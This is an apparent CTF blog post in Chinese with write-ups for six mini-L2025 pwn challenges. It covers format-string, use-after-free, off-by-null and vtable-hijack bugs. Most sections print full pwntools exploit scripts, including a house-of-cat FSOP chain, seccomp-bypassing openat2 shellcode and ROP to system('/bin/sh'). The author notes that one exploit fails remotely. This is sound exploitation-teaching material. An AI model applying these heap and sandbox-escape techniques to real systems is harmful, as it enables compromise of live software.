← 返回文章归档
FIELD NOTES / Pwn8 MIN READ

mini-L2025 PWN方向全题解

POSTBOX

PostScript下存在格式化字符串漏洞,具体分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//unsigned __int64 __fastcall PostScript(_DWORD *a1, int *len)
while ( *a1 )
//注意到这里解了个指针
//一般变量都是直接存储值,这个不一样也相当于提示了
{
printf("[*]You can still write %d times\n", *a1);
puts("contents:\n");
v3 = read(0, buf, *len);
if ( v3 == -1 )
{
perror("read");
close(fd);
exit(1);
}
if ( v4 == 114514 )
//未初始化,来自栈上残留数据
//在上一个
{
*len += 0x7F;
puts("[#]Check mod on.\n");
puts("Your words:\n");
printf(buf);
// vuln
//结合开头的解指针,可以重启函数
}
--*a1;
write(fd, buf, v3);
puts("[+]Input succeed!");
}

且有后门函数Inval1dFunction()

那么exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

p = remote('???')

sla('choice','2')
sa('contents:',p32(114514)*0x100)
sa('contents:','%2c%7$hhn%7$p\n\x00')
p.recvuntil('0x')
stack= int(p.recvline(keepends=False),16) + 0x28
print(hex(stack))
sa('contents:',b'%131c%12$hhn\x00\x00\x00\x00'+p64(stack))

p.interactive()

EASYHEAP

普通菜单堆,分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int del()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]

//...
ptr = heap[v1].content;
if ( !ptr )
return puts("Item does not exist");
free(ptr);
ptr = 0LL;
heap[v1].size = 0LL;
//只清零size,典型的uaf
//可以free假堆块,或者double free,随意
//...
}

int add()
{
int result; // eax
int v1; // eax
unsigned int v2; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]

//...
fgets(ptr, size, stdin);
//fgets输入必定有\x00截断
//实际上最多读size-1个字符,
heap[v2].content = ptr;
heap[v2].size = size;
return printf("Item added at index %d\n", v2);
//...
}

int show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]

//...
return printf("Data: %s\n", ptr);
//printf输出会被\x00截断
//配合fgets,难以泄露地址
//...
}

采取堆块重叠的办法,申请8个大堆块再free掉

然后重新申请回来,再free掉。

则最后一个堆块被两个指针同时指向,一个指针用于free,另外一个指针用于show泄露地址

然后打house of cat的板子

1
2
3
4
5
6
7
8
9
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0008
0006: 0x15 0x01 0x00 0x00000101 if (A == openat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

沙箱禁止了open/openat,用mprotect修改权限,再编写shellcode,用openat2绕过

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
filename='./vuln'
libc='./libc.so.6'

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

# p=process(filename)
p=remote('127.0.0.1',3515)
e=ELF(filename)
libc=ELF(libc)
# context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p,'b *(&setcontext+61)\ngo')

def add(idx,size,content):
sla(': ','1')
sla(': ',str(idx))
sla(': ',str(size))
sla('data',content)
def edit(idx, content):
sla(': ','2')
sla(': ',str(idx))
sla(': ',content)
def show(idx):
sla(': ','3')
sla(': ',str(idx))
def free(idx):
sla(': ','4')
sla(': ',str(idx))

for i in range(0,8):
add(i,0x3f8,'')
# add(8,0x400)

for i in range(0,8):
free(i)
for i in range(8,16):
add(i,0x3f8,'')
free(7)
show(15)

p.recvuntil('Data: ')
key = u64(p.recvline(keepends=False)+b'\x00\x00\x00')<<12

add(7,0x3f8,'')
add(16,0x1f8,'')

for i in range(0,8):
free(i)
show(15)

p.recvuntil('Data: ')
libcbase = u64(p.recvline(keepends=False)+b'\x00\x00') - 0x203b20
saddr = libcbase + libc.sym['system']
io_list_all = libcbase + libc.sym['_IO_list_all']

for i in range(0,8):
add(i,0x3f8,'')
free(6)
free(7)
edit(15,p64(io_list_all^(key>>12)))
add(17,0x3f8,p64(key+0x80))
add(17,0x3f8,p64(key+0x80))
haddr=key+0x80
magic=libcbase+0x00000000000a9b53
magic=0x000000000010d05b+libcbase
magic=0x0000000000176f0e+libcbase
eataddr=libcbase+libc.sym['execveat']
fake_io=haddr
IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
setcontext_61=libcbase+libc.sym['setcontext']+61
rdi=libcbase+0x000000000010f75b
rax=libcbase+0x00000000000dd237
rsi=libcbase+0x0000000000110a4d
sys_ret=libcbase+0xF4759
ret=libcbase+0x000000000010f75b+1
saddr=libcbase+libc.sym['system']
binsh=libcbase+libc.search('/bin/sh').__next__()
Rop=p64(rdi)+p64(binsh)+p64(saddr)
mp=libcbase+libc.sym['mprotect']
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
pay=flat(
{
0x0:[b'/flag\x00'], # rdi=binsh
0x20:[p64(0)], # write_base
0x28:[p64(1)], # write_ptr --> ptr > base
0xc0:[p64(0)], # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],

0x88:[p64(haddr+0x90),p64(0),p64(1)], # bypass lock

0xA0:[p64(fake_io+0xA8),p64(0),p64(1)],
(0xA0+0x20):[p64(0)],
(0xA0+0x28):[p64(1)], # bypass check in wfile_seekoff
(0xA0+0x30):[p64(1)], # bypass check in wfile_seekoff
(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xB0+0xd8+0x18):[p64(magic)], # call entry
(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
(0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
(0x1C8+0xA0):[p64(fake_io+0x280)], # rsp
(0x1C8+0x68):[p64(key^(key&0xfff))], # rdi
(0x1C8+0xA8):[p64(mp)], # ret_addr
(0x1C8+0x88):[p64(7)], # rdx
(0x1C8+0x70):[p64(0x1000)], # rsi
(0x280):[p64(key+0x308),asm(f'''
mov r10, 24
mov rsi, {haddr}
mov edi, -100
mov rdx, {key+0x380}
mov rax, 0x1b5
syscall
mov rdi, rax
mov rdx, 0x100
xor rax, rax
syscall
mov rax, 1
mov rdi, 1
syscall
''')
]
},filler=b'\x00')
edit(15,pay)

print(hex(key+0x80))
print(hex(libcbase))

p.interactive()

MINISNAKE

如hints所写,撞墙和吃被写在一个线程里面

且触发一个后就会导致线程睡眠

那么吃食物的同时即可穿墙

配合number皮可以实现任意写

上下是±16,左右是±1,可以跳过canary防止crash

操作和调试过程略复杂且乏味,略过不提

通关秘籍如下:

种子 : 96630
112 - 9的时候按下
112 - 10的时候按右
121 -10 的时候按q退出

即可getshell

Ex-Aid 2

shellcode编写题,空间充裕

不论是追求超短shellcode,leak栈地址打rop

还是用短跳连接shellcode,简单orw,打法多样,根据喜好来便可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
filename='./checkin'
libc='./libc.so.6'

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

# p=process(filename)
p=remote('127.0.0.1',45159)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p,'b *$rebase(0x15BA)\ngo')

shellcode = asm(
'''
push r11
pop rdx
push rax
pop rdi
push rbp
pop rsi
push rax
push rax
syscall
mov al,0x2
pop rsi
pop rdx
push rbp
pop rdi
syscall
jmp $+13
''')
print(len(shellcode))
s(shellcode)
sleep(0.5)
shellcode2 = asm(
'''
push rax
pop rsi
push r11
pop r10
xor edx,edx
mov edi,1
mov ax,0x28
syscall
'''
)
s(shellcode2)
s('\n')
pause()
s('/flag')
p.interactive()

CTFERS

main函数下有bug(),

1
2
3
4
5
6
7
8
9
10
11
12
13
void bug(void)
{
__int64 v1; // rax

if ( std::vector<CTFer *>::size(&ctfers) && !broken )
{
v1 = std::vector<CTFer *>::operator[](&ctfers, 0LL);
std::istream::operator>>(&std::cin, v1);
broken = 1;
// 允许修改一个指向对象的指针
// 只能利用一次
}
}

没有开启PIE,考虑虚函数劫持

在name里面发现可以控制内容的地址

1
2
3
4
5
6
7
8
9
10
11
nsigned __int64 join_ctf(void)
{
//..
std::operator<<<std::char_traits<char>>(&std::cout, "Name > ");
std::istream::ignore((std::istream *)&std::cin);
std::operator>><char,std::char_traits<char>>(&std::cin, &name_buf);
// name_buf为bss段上变量
// 考虑在name_buf上伪造变量
// 并劫持对象指针,实现任意执行
//...
}

由于对象内有name,大几率存在字符串指针

调试后确实发现存在,伪造字符串指针指向got表

调用print_info后即可泄露libc地址

观察print_info的参数传递情况,rdi、rax落在对象地址上,也就是可控地址

在libc中配合grep "call" | grep "rax" | grep "rdi"搜索gadgets

简单构造后即可构造出system("/bin/sh")

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
filename='./ctfers'
libc='./libc.so.6'

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

p=process(filename)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
gdb.attach(p,'go')
ctfs = 0x4092c0
bug = 0x40266B
name_buf=0x4092e0
pinfo = 0x402996
def add(name,points = 0):
sla('> ','0')
sla('> ', name)
sla('> ', str(points))
sla('> ', '0')

def quit(index):
sla('> ','1')
sla('>', str(index))

def print_info():
sla('>', '2')
add('0')
add('0')
add(p64(pinfo)+p64(name_buf)+p64(0)+p64(e.got['printf'])+p64(6)+p64(0x30))

sla('>', str(0xdeadbeef))
pause()
sl(str(name_buf+8))
print_info()
p.recvuntil('[0] I am ')
libcbase=u64(p.recv(6)+b'\x00\x00') - libc.sym['printf']
saddr=libcbase+libc.sym['system']
print(hex(saddr))
pause()
magic1 = 0x0000000000162f64 + libcbase
# mov rdi, qword ptr [rax] ;
# mov rax, qword ptr [rdi + 0x38] ;
# call qword ptr [rax + 0x10]
magic2 = 0x000000000009d318 + libcbase
# mov rdi, qword ptr [rax + 8] ;
# call qword ptr [rax]
pay = flat(
{
0:magic1,
8:name_buf,
0x10:saddr,
0x18:name_buf+0x30,
0x20:magic2,
0x28:saddr,
0x30:b'/bin/sh\x00',
0x38:name_buf+0x10,
},filler= '\x00')
add(pay)

p.interactive()

MMAPHEAP

本人这题无法通过远程

分析原因发现,exp中一次性add了长度为0xffc0的padding用于offbynull

但是远程环境一次只能读约4000字节的payload

一开始写的时候没有考虑到pay长度太长,io会产生问题,最后发现前面的部分已经杂在一起改不动了

但是比赛已经结束,懒得改了(

所以将本地可以通过的代码放置于此

诸位看个思路便可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int add()
{
//...
buf = malloc(size);
write(1, "data: ", 6uLL);
buf[(int)read(0, buf, size)] = 0;
//存在off by null
//...
}

int edit()
{
//...
write(1, "data: ", 6uLL);
heaps[v1].data[(int)read(0, heaps[v1].data, heaps[v1].size)] = 0;
//存在off by null
//...
}

逆向mylib中的print函数,存在\x00截断

逆向有关结构体可得如下结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct node_head // sizeof=0x38
{ // XREF: .bss:node_head/r
chunk_head *chunks;
__int64 chunk_counts;
__int64 last;
__int64 head;
node_head *next; // XREF: init_malloc+1D/w
// malloc+31/r ...
node_head *back; // XREF: init_malloc+F/w
// init_malloc+16/r ...
__int64 field_30;
};

struct chunk_head // sizeof=0x10
{
__int64 size;
chunk_head *next;
};

off by null可以修改每个node里面chunk的位置

进而影响堆块申请的位置

通过off by null伪造位置,还可以导致堆块的大小出现问题

由于malloc中对size检查较弱,基本等同于向高地址的任意写

而高地址的任意写进一步导致了edit chunk_head,扩大为任意地址任意写

尽管\x00限制极其严格,我们仍可以通过堆布局

将0结尾地址上以0结尾的值当作size,并通过堆重叠实现泄露

在ld中找到pie地址,最后打回pie中的chunk_list,获得任意读写

由于对ld的查找破坏了dl_resolve,需要手动修复got表中所有需要重定向的函数

最后open /flag并read

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
filename='./vuln'
libc='./libmylib.so'

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

p=process(filename)
# p=remote('127.0.0.1',9999)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p,'go')

def add(idx, size ,data):
sa('option:', '1')
sa('idx:', str(idx))
sa('size:', str(size))
sa('data:', data)
def edit(idx, data):
sa('option:', '2')
sa('idx', str(idx))
sa('data:', data)
def free(idx):
sa('option:', '3')
sa('idx:', str(idx))
def show(idx):
sa('option:', '4')
sa('idx: ', str(idx))
add(4,0xffc0,b'0')
add(0,0x40,b'0')
add(1,0xffc0,b'0'*0xffc0)
add(2,0x30,b'0')
show(0)

libcbase = u64(p.recv(6)+b'\x00\x00')+0x20040
add(3,0xff90,b'\x01'*0xff80)
add(5,0x800,b'a'*0x10) # head
# add(7,0x200,b'\x70'*7)
edit(5,b'a'*0x10+p64(libcbase+0x401e0))
add(4,0x130,'\x00')
add(4,0x10,'\x00')
edit(5,b'a'*0x10+p64(libcbase+0x402e0))
add(6,0x40,'\x00')
show(4)
pie = u64(p.recv(6)+b'\x00\x00')+0x50
edit(5,b'a'*0x10+p64(pie+0x4080))
add(0,0x100,p64(pie+0x4080)+p64(0x100))
edit(0,p64(libcbase+0x6918)+p64(8))
show(1)
stack = u64(p.recv(6)+b'\x00\x00')
edit(0,p64(pie+e.got['f_open'])+p64(0x100))
edit(1,p64(libcbase+libc.sym['r_open'])[:6:])
edit(0,p64(pie+e.got['strstr'])+p64(0x100))
edit(1,p64(libcbase+libc.sym['strstr'])[:6:])
edit(0,p64(pie+e.got['close'])+p64(0x100))
edit(1,p64(libcbase+libc.sym['close'])[:6:])
edit(0,p64(pie+e.bss(0x300))+p64(0x100)+p64(pie+e.bss(0x300))+p64(0x100))

print(hex(stack))
print(hex(libcbase-0x10))
print(hex(pie))
p.interactive()
# 之后open /flag到堆块1,并用堆块2show即可
FROM THE ARCHIVE

这篇文章迁移自我的博客园,保留最初的记录。

阅读原文 ↗
/ END✳∷ — 00
SEARCH / 00

搜索文章

输入关键词,搜索全部文章。

标题 / 标签 / 全文ESC 关闭